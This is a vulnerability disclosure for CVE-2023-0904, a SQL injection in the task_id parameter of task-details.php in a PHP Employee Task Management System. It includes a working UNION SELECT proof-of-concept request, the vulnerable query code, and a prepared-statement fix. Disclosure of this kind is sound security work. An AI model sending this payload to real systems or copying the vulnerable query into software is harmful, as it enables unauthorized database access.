CVE-2023-0904: CVE_Demo/Employee Task Management System - SQL Injection - 2.md at main · navaidzansari/CVE_Demo

Employee Task Management System - SQL Injection on (task-details.php?task_id=?) with low privilege authentication****Date:

17 February 2023

Author Email:

[email protected]

Vendor Homepage:

https://www.sourcecodester.com

Software Link:

Employee Task Management System

Version:

v 1.0

SQL Injection

SQL Injection is a type of vulnerability in web applications that allows an attacker to execute unauthorized SQL queries on the database by exploiting the application’s failure to properly validate user input. The attacker can use this vulnerability to bypass the security measures put in place by the application, allowing them to access or modify sensitive data, or even take control of the entire system. SQL Injection attacks can have severe consequences, including data loss, financial loss, reputational damage, and legal liability. To prevent SQL Injection attacks, developers should properly sanitize and validate all user input, and implement strong security measures, such as input validation, output encoding, parameterized queries, and access controls. Users should also be aware of the risks of SQL Injection attacks and take appropriate measures to protect their data.

Affected Page:

task-details.php

On this page task_id parameter is vulnerable to SQL Injection Attack

Description:

The employee task management system supports two roles of users, one is admin, and another is a normal employee. the detail of role is given below

• Admin user has full access to the system
• Employee user has only a few menu access i.s. Task Management (view and edit only assigned tasks) and Attendance (clock In and out)

So, if the admin assigns a task to a normal employee, an employee could perform the SQL Injection by viewing that task from his/her profile. Therefore, low-privileged users could able to get the access full system.

Proof of Concept:

Following steps are involved:

• Admin assigned a task to an employee (ABC)
• ABC employee view the task and could perform the SQL injection with vulnerable parameter (task-details.php?task_id=765)

Request:

GET /etms/task-details.php?task_id=765%27+and+false+union+select+1,version(),3,database(),user(),6,7,8--+- HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ntknjcf821q2u3h85c14qo1r91
Connection: close

Response:

Recommendation:

Whoever uses this CMS, should update line no (from 27 to 30) of task-details.php with the following code to avoid SQL Injection attack:

Old Code:
$sql = "SELECT a.*, b.fullname 
FROM task_info a
LEFT JOIN tbl_admin b ON(a.t_user_id = b.user_id)
WHERE task_id='$task_id'";
$info = $obj_admin->manage_all_info($sql);


New Code: 
$sql = $obj_admin->db->prepare("SELECT a.*, b.fullname FROM task_info a LEFT JOIN tbl_admin b ON(a.t_user_id = b.user_id) WHERE task_id=:task_id ");
$sql->bindparam(':task_id', $task_id);
$sql->execute();
$row = $sql->fetch(PDO::FETCH_ASSOC);

Thank you for reading